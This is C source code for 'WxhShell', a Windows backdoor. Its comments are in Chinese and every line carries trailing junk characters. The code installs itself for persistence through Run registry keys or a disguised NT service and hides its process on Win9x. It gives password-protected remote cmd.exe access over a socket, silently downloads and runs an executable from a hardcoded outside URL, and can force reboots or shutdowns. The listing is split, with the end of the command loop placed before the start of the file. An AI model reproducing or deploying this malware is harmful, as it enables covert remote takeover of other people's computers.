    if(Boot(SHUTDOWN)) kEK[\f VE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ."JzDs   
    else { :|XCnK0  
    closesocket(wsh); ` *9EKj  
    ExitThread(0); |Is'-g!  
    } Ysk, w,K  
    break; pv$tTWk  
    } S|2VP8xY9  
  // 获取shell G:Hj;&'2  
  case 's': { Xu<FDjr  
    CmdShell(wsh); Pc4R!Tc  
    closesocket(wsh); /"0as_L<  
    ExitThread(0); 2oNV=b[  
    break; u 2lX d'  
  } +#v4B?NR  
  // 退出 |[wyc!nY).  
  case 'x': { <kc]L x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <;KRj85"j  
    CloseIt(wsh); u[`v&e  
    break; i wz` x  
    }  M]0^ind  
  // 离开 nL;K|W  
  case 'q': { XqFu(Lm8=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Rrz'(KSDw  
    closesocket(wsh); T{ nQjYb?  
    WSACleanup(); wG:$6  
    exit(1); UT-ewXh  
    break; pYGYy'%A'  
        } FH -p!4+]  
  } n8FT<pUq  
  } 8dV=1O$ /  
q6)p*}-  
  // 提示信息 b3^R,6]x&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (6#M9XL  
} iQj2UTds3  
  } (1y='L2rj  
)=(n/vckM  
  return; z[FI2jl  
} 9 d] tjT  
T+BIy|O  
// shell模块句柄 ![q }BU4  
int CmdShell(SOCKET sock) @fDQ^ 4  
{ NV(fN-L  
STARTUPINFO si; R8{e&n PE  
ZeroMemory(&si,sizeof(si)); JB'qiuhab  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <"NyC?b+G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _s@bz|yqw  
PROCESS_INFORMATION ProcessInfo; (l;C%O7*  
char cmdline[]="cmd"; YZ{jP?x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :>ZzP:QD  
  return 0; zK /f$}  
} ^OjvL6 A/p  
%d-`71|lG^  
// 自身启动模式 :D^Y?  
int StartFromService(void) CMKhS,,o  
{ 9M0d+:YJ  
typedef struct +QQ YPEx+  
{ 1[[TB .xF  
  DWORD ExitStatus; x{QBMe`  
  DWORD PebBaseAddress; IE@ z@+\(  
  DWORD AffinityMask; G#g{3}dcK  
  DWORD BasePriority; rkP4<E-M  
  ULONG UniqueProcessId; q'fPNQg  
  ULONG InheritedFromUniqueProcessId; (-#rFO5~l  
}   PROCESS_BASIC_INFORMATION; dd19z%  
Cl-S=q@>V  
PROCNTQSIP NtQueryInformationProcess; tbRE/L<  
cC' ^T6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l92!2$]b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $ #t|(\  
XzN-slu!  
  HANDLE             hProcess; xf[z EEt  
  PROCESS_BASIC_INFORMATION pbi; 6HB]T)n  
JYl\<Z' {  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \/ X{n*Hw?  
  if(NULL == hInst ) return 0; 1wU=WE(kKZ  
f^ywW[dF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /H.(d 4C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \&# p1K(H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {4o\S  
g8rp|MOH  
  if (!NtQueryInformationProcess) return 0; Kyyih|{  
6S2r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lJ("6aT?  
  if(!hProcess) return 0; rS=tcB O  
okVp\RC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %zRiLcAT  
'?z9,oW{  
  CloseHandle(hProcess); nP5d?  
?L8&(&1@VD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zL6 \p)y  
if(hProcess==NULL) return 0; y`\mQ48V  
}ty"fI3&iY  
HMODULE hMod; Vx}Yl&*D  
char procName[255]; DXt]b,  
unsigned long cbNeeded; o- cj&Cv%  
[}jj<!9A_;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?'TA!MR  
XX*'N+  
  CloseHandle(hProcess); 8H&_,;  
Y>(ZsHu  
if(strstr(procName,"services")) return 1; // 以服务启动 mL8A2>Gig  
>~.Zr3P6kC  
  return 0; // 注册表启动 ?,D>+::  
} .A )\F",X  
0,;E.Py?.  
// 主模块 d*]Dv,#X  
int StartWxhshell(LPSTR lpCmdLine) d'x<- l9  
{ #>MO]  
  SOCKET wsl; h85 (N  
BOOL val=TRUE; FLi(#9  
  int port=0; o(?VX`2"  
  struct sockaddr_in door; 782[yLyv  
s$js5 ou  
  if(wscfg.ws_autoins) Install(); k, $I59  
97['VOh0  
port=atoi(lpCmdLine); J(3gT }z-  
T_(qN;_  
if(port<=0) port=wscfg.ws_port; *(@L+D0N  
i#CaKS  
  WSADATA data; jc${.?m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ._8xY$l$  
dM$N1DB{U+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bbfDt^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N |OMj%Uk  
  door.sin_family = AF_INET; CpUI|Rs  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g5lmUKlQ$0  
  door.sin_port = htons(port); % JgRcx  
iSSc5ek4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e{^:/WcYB  
closesocket(wsl); .Z(S4wV  
return 1; stf,<W  
} +a7EsR  
U:s} /to  
  if(listen(wsl,2) == INVALID_SOCKET) { D[?k ,*  
closesocket(wsl); Vy?R/ Uu  
return 1; ccHLL6F{  
} H1aV}KD  
  Wxhshell(wsl); ?Zc/upd:$N  
  WSACleanup(); m_{%tU;N  
R@)'Bs  
return 0; Yio>ft&g]  
xI/{)I1f  
} zbF:R[)  
^yEj]]6  
// 以NT服务方式启动 $|`t9-EA/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >%PL_<Vbv  
{ [dSDg2]  
DWORD   status = 0; [4K9|/J  
  DWORD   specificError = 0xfffffff; <3i4NXnL2  
I_"Hgx<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -13P 2<i+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WH pUjyBP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iBGSBSeL&  
  serviceStatus.dwWin32ExitCode     = 0; 3p?<iVE  
  serviceStatus.dwServiceSpecificExitCode = 0; =j'J !M  
  serviceStatus.dwCheckPoint       = 0; r`&2-]  
  serviceStatus.dwWaitHint       = 0; h"RP>fZt  
zIAu3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E<X{72fb>  
  if (hServiceStatusHandle==0) return; RTgQ#<W8  
= )JVT$]w  
status = GetLastError(); yr/]xc$  
  if (status!=NO_ERROR) vp )}/&/  
{ 2A@Y&g(6T7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UX-_{I QW  
    serviceStatus.dwCheckPoint       = 0; @);!x41f  
    serviceStatus.dwWaitHint       = 0; 73^ T*  
    serviceStatus.dwWin32ExitCode     = status; imJ[:E  
    serviceStatus.dwServiceSpecificExitCode = specificError; v&[X&Hu[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F #!@}K8  
    return; =|qt!gY)Y  
  } ]Omb :  
okK/i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; avHD'zU}N  
  serviceStatus.dwCheckPoint       = 0; 2yEO=SN,(  
  serviceStatus.dwWaitHint       = 0; Vid{6?7kh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tdw\Di#m  
} E1U4v&P  
A}t&-  
// 处理NT服务事件,比如:启动、停止 .b_0k<M!p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]<\;d B  
{ Q+u#?['  
switch(fdwControl) k *G!.  
{ P/C+L[X=  
case SERVICE_CONTROL_STOP: Z uFV tW@  
  serviceStatus.dwWin32ExitCode = 0; g "K#&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #Vn>ue+?  
  serviceStatus.dwCheckPoint   = 0; K c2OLz#  
  serviceStatus.dwWaitHint     = 0; QKUBh-QFK  
  { 6 h0U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9rpg10/T  
  } He0N  
  return; T/Wm S?  
case SERVICE_CONTROL_PAUSE: 7 BnenHD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0]h8)EW  
  break; &z xBi"  
case SERVICE_CONTROL_CONTINUE: U'Ja\Ek/f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w$(0V$l_  
  break; P- `~]]  
case SERVICE_CONTROL_INTERROGATE: d0H  
  break; Z3abem<Q  
}; p^4;fD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @LW xz  
} ]Jq k C4|  
Bp$+ F/  
// 标准应用程序主函数 t=E|RYC(k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !CVBG *E^l  
{ T$.-{I  
C+L_61  
// 获取操作系统版本 }Pm(oR'KTJ  
OsIsNt=GetOsVer(); $_URXI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NrI 5uC7  
ulPrb>i  
  // 从命令行安装 LrM.wr zI/  
  if(strpbrk(lpCmdLine,"iI")) Install(); O yH!V&w  
@F3-Ugm  
  // 下载执行文件 Qa7S'(  
if(wscfg.ws_downexe) { cyHak u+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WFeMr%Zqh>  
  WinExec(wscfg.ws_filenam,SW_HIDE); ${I@YSU  
} RaM#@D7  
3w<j:\i  
if(!OsIsNt) { ,SJK  
// 如果时win9x,隐藏进程并且设置为注册表启动 /n(bThDH  
HideProc();  i_E#cU  
StartWxhshell(lpCmdLine); \@}$Wjsl  
} O)RzNfI^`N  
else JV?RgFy  
  if(StartFromService()) @aiLG wh  
  // 以服务方式启动 rs 1*H  
  StartServiceCtrlDispatcher(DispatchTable); "k6IV&0 3x  
else R26tQbwE  
  // 普通方式启动 "$V8y  
  StartWxhshell(lpCmdLine); &x0TnW"g  
?CT^Zegmr  
return 0; PkCeV]`w  
} ssr)f8R#,#  
CI~;B  
SJ~I r#  
= @Nv:1:r  
=========================================== b~haP.Cl :  
/c$Ht  
EYx2IJ  
0w[0%:R^  
A_(+r  
_E&vE5<-$  
" kX ,FQG>  
CN$A-sjZ  
#include <stdio.h> ^/d^$  
#include <string.h> ,^+R%7mv  
#include <windows.h> @Y&9S)xcE  
#include <winsock2.h> ad$Qs3)6o  
#include <winsvc.h> P15 *VPy  
#include <urlmon.h> %oCjZ"ke  
J_wz'eIb0  
#pragma comment (lib, "Ws2_32.lib") :{xN33@6\X  
#pragma comment (lib, "urlmon.lib") MMA@J  
J2 rLsNC]0  
#define MAX_USER   100 // 最大客户端连接数 =<'iLQb1  
#define BUF_SOCK   200 // sock buffer f`9rT c  
#define KEY_BUFF   255 // 输入 buffer -SY:qG3?  
|nH0~P#!  
#define REBOOT     0   // 重启 rIFC#Jd/  
#define SHUTDOWN   1   // 关机 }AsF\W+5  
@`y?\fWh  
#define DEF_PORT   5000 // 监听端口 gJ GBD9wC  
nog\,NT  
#define REG_LEN     16   // 注册表键长度 i{FC1tVeL_  
#define SVC_LEN     80   // NT服务名长度 9hs{uxwuEE  
zs&`:  
// 从dll定义API Ae_ E;[mj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;gW|qb+#)j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FTYLMQ i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4 TQISu)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g/X=#!  
33KPo0g7  
// wxhshell配置信息 h'y@M+c(  
struct WSCFG { [ rQ(ae  
  int ws_port;         // 监听端口 wIR[2&b  
  char ws_passstr[REG_LEN]; // 口令 13&>w{S}  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1707  
  char ws_regname[REG_LEN]; // 注册表键名 Z8dN0AqZ  
  char ws_svcname[REG_LEN]; // 服务名 ]>4Qs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (Nlm4*{h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !zkEh9G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F+$@3[Q`N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &|{,4V0%A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c+)|o!d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .sR&9FH  
z3jz pmz  
}; y yR8VO{  
_}D?+x,C8  
// default Wxhshell configuration s=~7m.m  
struct WSCFG wscfg={DEF_PORT, MJ"Mn^:/  
    "xuhuanlingzhe", "A1yqK  
    1, U}wq~fD  
    "Wxhshell", -Lf6]5$2'  
    "Wxhshell", =]xk-MY"|R  
            "WxhShell Service", VUv.Tx]Z[  
    "Wrsky Windows CmdShell Service", K9M.+d4  
    "Please Input Your Password: ", rnhf(K.{3  
  1, 75}u D  
  "http://www.wrsky.com/wxhshell.exe", ?{z$ { bD  
  "Wxhshell.exe" 0(g MR  
    }; u[|S*(P  
G~tOCp="p  
// 消息定义模块 i|,A1c"*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _>m*`:Wb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |ShRxE3@'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fG$.DvJuK  
char *msg_ws_ext="\n\rExit."; RHAr[$  
char *msg_ws_end="\n\rQuit."; XXwhs-:o  
char *msg_ws_boot="\n\rReboot..."; q vVZA*  
char *msg_ws_poff="\n\rShutdown..."; x7 1!r  
char *msg_ws_down="\n\rSave to "; Xsn- +e  
_]ttKT(  
char *msg_ws_err="\n\rErr!"; ulSTR f  
char *msg_ws_ok="\n\rOK!"; q4ko}jn  
6:z&ukq E  
char ExeFile[MAX_PATH]; 3L]^x9Cu)  
int nUser = 0; RH4n0 =2  
HANDLE handles[MAX_USER]; "l,EcZRjTz  
int OsIsNt; Lm{ o=v  
99>yaW  
SERVICE_STATUS       serviceStatus; coVT+we  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M)pi)$&c  
2_\|>g|  
// 函数声明 %` [`I>  
int Install(void); +\oHQ=s>}\  
int Uninstall(void); `LU,uz  
int DownloadFile(char *sURL, SOCKET wsh); uv!qE1z@':  
int Boot(int flag); ~S>ba']  
void HideProc(void); ![!b^:f  
int GetOsVer(void); *g41"Cl  
int Wxhshell(SOCKET wsl); 5XUI7Q%  
void TalkWithClient(void *cs); ?HyioLO  
int CmdShell(SOCKET sock); e CUcE(  
int StartFromService(void); ZWW8Hr  
int StartWxhshell(LPSTR lpCmdLine); $K5s)!  
{=4:Tgw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q8bS@\i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4KSN;G  
y]Tn#4 ,/  
// 数据结构和表定义 c@B%`6kF  
SERVICE_TABLE_ENTRY DispatchTable[] = RcM0VbR"EU  
{ Xgc\O08  
{wscfg.ws_svcname, NTServiceMain}, mT~>4xi0  
{NULL, NULL} 5nq-b@?L  
}; P1>X5:  
8Xzx ;-&4  
// 自我安装 y" -{6{3  
int Install(void) 7[1 R}G V  
{ 3}1+"? s  
  char svExeFile[MAX_PATH]; >qvD3 9w  
  HKEY key; jeFl+K'1  
  strcpy(svExeFile,ExeFile); ]b| @<E7Y  
<d`UifqD  
// 如果是win9x系统,修改注册表设为自启动 6i9I 4*'  
if(!OsIsNt) { [:S F(*}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oP75|p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jt r=8OiL  
  RegCloseKey(key); h1o+7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h#ot)m|I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E+Mdl*  
  RegCloseKey(key); b}*bgx@<  
  return 0; &Q+V I/p  
    } H=RV M  
  } &D w~Jq|  
} ]~Qkg+>'&  
else { /iuNdh  
GZX!iT  
// 如果是NT以上系统,安装为系统服务 ~(]DNXB8I`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,ToEK Id  
if (schSCManager!=0) qM !q,Q  
{ U7eQ-r  
  SC_HANDLE schService = CreateService G.e\#_RR?  
  ( .Awq(  
  schSCManager, !I/kz }N@  
  wscfg.ws_svcname, R0d|j#vP  
  wscfg.ws_svcdisp, oXkhj,{y5  
  SERVICE_ALL_ACCESS, /n7,B}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E8<i PTJs  
  SERVICE_AUTO_START, P`9A?aG.Z  
  SERVICE_ERROR_NORMAL, {Dq51  
  svExeFile, L1 VTq9[3  
  NULL, <!>}t a  
  NULL, v[3sg2.  
  NULL, d`7] reh  
  NULL, 8E%*o  
  NULL x,_Ucc.  
  ); H,~In2Z  
  if (schService!=0) 5&@U T  
  { +0 |0X {v  
  CloseServiceHandle(schService); }TL"v|ny6;  
  CloseServiceHandle(schSCManager); Tou~U[V+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hI{Yg$H1  
  strcat(svExeFile,wscfg.ws_svcname); UQPE)G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Oh4WYDyT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F[Sat;Sll  
  RegCloseKey(key); dtl<  
  return 0; c?",kzo  
    } }TvAjLIS6  
  } QLG,r^  
  CloseServiceHandle(schSCManager); >@uYleD(  
} ]#.#]}=  
}  B4ze$#  
e90z(EF?0  
return 1; { rn~D5R  
} 3R .cj  
f BOG#-a}  
// 自我卸载 P'~3WL4MKs  
int Uninstall(void) {HnOUc\4  
{ `BD`pa7.%  
  HKEY key; 7S Zs/wWh%  
z\ pT+9&  
if(!OsIsNt) { Y%@'a~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \YS\* 'F  
  RegDeleteValue(key,wscfg.ws_regname); @CDRbXoFk  
  RegCloseKey(key); _Y {g5t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rID]!7~  
  RegDeleteValue(key,wscfg.ws_regname); gHshG;z*  
  RegCloseKey(key); {Aw3Itef  
  return 0; %b6wo?%*  
  } \_bX2Lg  
} Njjeg9f  
} /p"R}&z  
else { RA/yvr  
4*X$Jle|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .X1niguXH  
if (schSCManager!=0) V485Yn!$(  
{ (5&"Y?#o,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +Ti@M1A&  
  if (schService!=0) WpZ^R;eK  
  { 'L/TaP/3  
  if(DeleteService(schService)!=0) { DlI|~  
  CloseServiceHandle(schService); wf1DvsJQl  
  CloseServiceHandle(schSCManager); DYK|"@  
  return 0; ^XVa!s,d  
  } $*R9LPpk+  
  CloseServiceHandle(schService); ZrS!R[  
  } .Oh$sma1  
  CloseServiceHandle(schSCManager); t+ ]+Gn  
} ,#l oVLy  
} .*"IJD9  
&ii =$4"R  
return 1; ^pa).B.`T  
} _Hk`e}}  
yI<'J^1C[  
// 从指定url下载文件 I|H mbTXa  
int DownloadFile(char *sURL, SOCKET wsh) i,T{SV  
{ "o^zOU  
  HRESULT hr; [~wcHE  
char seps[]= "/"; dM$S|, H  
char *token; &tIm  
char *file; r%i{a  
char myURL[MAX_PATH]; eSU8/9B  
char myFILE[MAX_PATH]; ~Y[1Me  
QCw<* Id+  
strcpy(myURL,sURL); WAbhB A  
  token=strtok(myURL,seps); l1 S1CS  
  while(token!=NULL) K<tg+(3  
  { JnDR(s4(E  
    file=token; E?uv&evPK7  
  token=strtok(NULL,seps); CjGI}t  
  } A )cb  
HZ3<}`P_W  
GetCurrentDirectory(MAX_PATH,myFILE); i1C'  
strcat(myFILE, "\\"); (k~c]N)v  
strcat(myFILE, file); v*LL7b0 A  
  send(wsh,myFILE,strlen(myFILE),0); Kw|`y %~  
send(wsh,"...",3,0); N}= - +E|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); { L5m`-x  
  if(hr==S_OK) ~-/AKaK}  
return 0; &#l M$7/  
else FCPbp!q6  
return 1; /2@@v|QL  
PdZSXP4;k  
} G'Y|MCKz>  
y6oDbwke  
// 系统电源模块 x&d<IU)5  
int Boot(int flag) Jo@9f(hq  
{ X(\RA.64  
  HANDLE hToken; nDvWOt  
  TOKEN_PRIVILEGES tkp; u[DV{o  
hCgNS1%4  
  if(OsIsNt) { \+\h<D-5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K0]Wb=v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M*N8p]3Cq  
    tkp.PrivilegeCount = 1; pifgt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Fh'Jb*|Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mq L+W  
if(flag==REBOOT) { <#-ERQw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )j]RFt  
  return 0; Lnzhs;7L  
} ;Mz]uk  
else { 7Fp2=j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X)~-MY*p  
  return 0; .\ZxwD|  
} :lAR;[WFS  
  } (hoqLL\}k  
  else { xjYFTb}!  
if(flag==REBOOT) { ;z68`P-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <#UvLll  
  return 0; `t -3(>P  
} 7o<RvM  
else { ;/.ZYTD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~U|te_l  
  return 0; @WmB0cc_  
} RjT[y: !  
} jv ";?*I6.  
`xSXGI  
return 1; 0/Csc\Xl  
} cQny)2k*x  
I zT%Kq  
// win9x进程隐藏模块 k8TMdWW  
void HideProc(void) >&R|t_ypw  
{ .JqIAC~  
s5.2gu|"%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v:chr$>j5  
  if ( hKernel != NULL ) \0$?r4A  
  { -l",!sV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LM} si|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ud](hp"  
    FreeLibrary(hKernel); >\'yj| U,  
  } ?2M15Q  
?=,tcN  
return; 8HzEH-J   
} G>Q{[m$  
<  5ow81  
// 获取操作系统版本 . XmD[=  
int GetOsVer(void) :X^B1z3X4  
{  tua+R_"  
  OSVERSIONINFO winfo; Ii)TCSt9U?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  7;XdTx  
  GetVersionEx(&winfo); _AFgx8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7Q`4*H6  
  return 1; wcO+P7g  
  else }IV7dKzl  
  return 0; iG ;6e~p  
} x~W&a*WNT  
()r DM@  
// 客户端句柄模块 | 8AH_Fk  
int Wxhshell(SOCKET wsl) pO^ 6p%  
{ (<ejJPWT  
  SOCKET wsh; vq{:=:5'P  
  struct sockaddr_in client; R1nctA:  
  DWORD myID; 8wBns)wy@  
vn8Ez6<27  
  while(nUser<MAX_USER) qRUz;M4  
{ yoH6g?!O  
  int nSize=sizeof(client); 4avM:h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X#J[Nn>  
  if(wsh==INVALID_SOCKET) return 1; eRGip2^cq+  
cX*^PSM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u^ T2  
if(handles[nUser]==0) T:si?7CR  
  closesocket(wsh); 0<Y)yNsV  
else W46sKD;\^W  
  nUser++; d; M&X!Y  
  } /ZczfM\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k: {$M yK  
M! s&<Bi  
  return 0; =$m|M m[a  
} I=1tf;Bsi  
 6} 9A0  
// 关闭 socket O:#to  
void CloseIt(SOCKET wsh) m,pDjf  
{ $oNkE  
closesocket(wsh); h\1_$ac  
nUser--; dLAElTg  
ExitThread(0); x*YJ :t  
} =$HzEzrw  
gAE}3//  
// 客户端请求句柄 eC1cE  
void TalkWithClient(void *cs) '{J!5x?L^  
{ p5*i d5  
?znSA >  
  SOCKET wsh=(SOCKET)cs; AVi|JY)>  
  char pwd[SVC_LEN]; cD{[rI E3  
  char cmd[KEY_BUFF]; r6^DD$X  
char chr[1]; ]Z~H9!%t  
int i,j; `0sa94H1[  
IlwY5iL  
  while (nUser < MAX_USER) { 4Q$\hO3b  
F Hv|6zUX  
if(wscfg.ws_passstr) { `T-(g1:9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @A)gsDt9A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [p]Ayo$~  
  //ZeroMemory(pwd,KEY_BUFF); 7c+u+Yet  
      i=0; %3q@\:s  
  while(i<SVC_LEN) { 5SDHZ?h  
j"c"sF\q  
  // 设置超时 r`" ?K]rI  
  fd_set FdRead; b2Ct^`|M5  
  struct timeval TimeOut; 2lGq6Au:  
  FD_ZERO(&FdRead); }C)   
  FD_SET(wsh,&FdRead); s|q B;  
  TimeOut.tv_sec=8; nOOA5Gz   
  TimeOut.tv_usec=0; -8-Aqh8|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^7(zoUn:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aeSXHd?+(  
FO*Py)/rX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Nf3L  
  pwd=chr[0]; 0BD3~Lv  
  if(chr[0]==0xd || chr[0]==0xa) { G $?VYC8;  
  pwd=0; d(h`bOjI  
  break; + ('jqbV  
  } *s_)E 2  
  i++; Xh){W~ -  
    } 9ah,a 4  
"5vFa7y  
  // 如果是非法用户,关闭 socket B&tl6?7h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $ZE OE8.\  
} ]92@&J0w  
sR#( \  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &!~q#w1W-5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e`Yx]3;u(  
)u<sEF  
while(1) { /\2s%b*  
3C.bzw^  
  ZeroMemory(cmd,KEY_BUFF); P_w+p"@m  
w2Pkw'a{  
      // 自动支持客户端 telnet标准   -[ F<u  
  j=0; Vk[m$  
  while(j<KEY_BUFF) { 3EAu#c@q"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `57ffQR9  
  cmd[j]=chr[0]; Dtelr=/s  
  if(chr[0]==0xa || chr[0]==0xd) { Nk]r2^.z[  
  cmd[j]=0; [t,7H  
  break; l^&#fz  
  } V7 c7(G  
  j++; z )k\p'0"  
    } i5|!M IY  
?(hdV ?8)P  
  // 下载文件 7Sr7a {  
  if(strstr(cmd,"http://")) { pnDD9u-4;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7ej"q  
  if(DownloadFile(cmd,wsh)) LR}b^QU7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~`T3 i  
  else 9QZ;F4 r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xa+ u>1"2"  
  } g3j@o/Y  
  else { WFy90*@Z  
M" %w9)@  
    switch(cmd[0]) { '@rGX+"  
  v dyu=*Y  
  // 帮助 iYBs )  
  case '?': { |odl~juU  
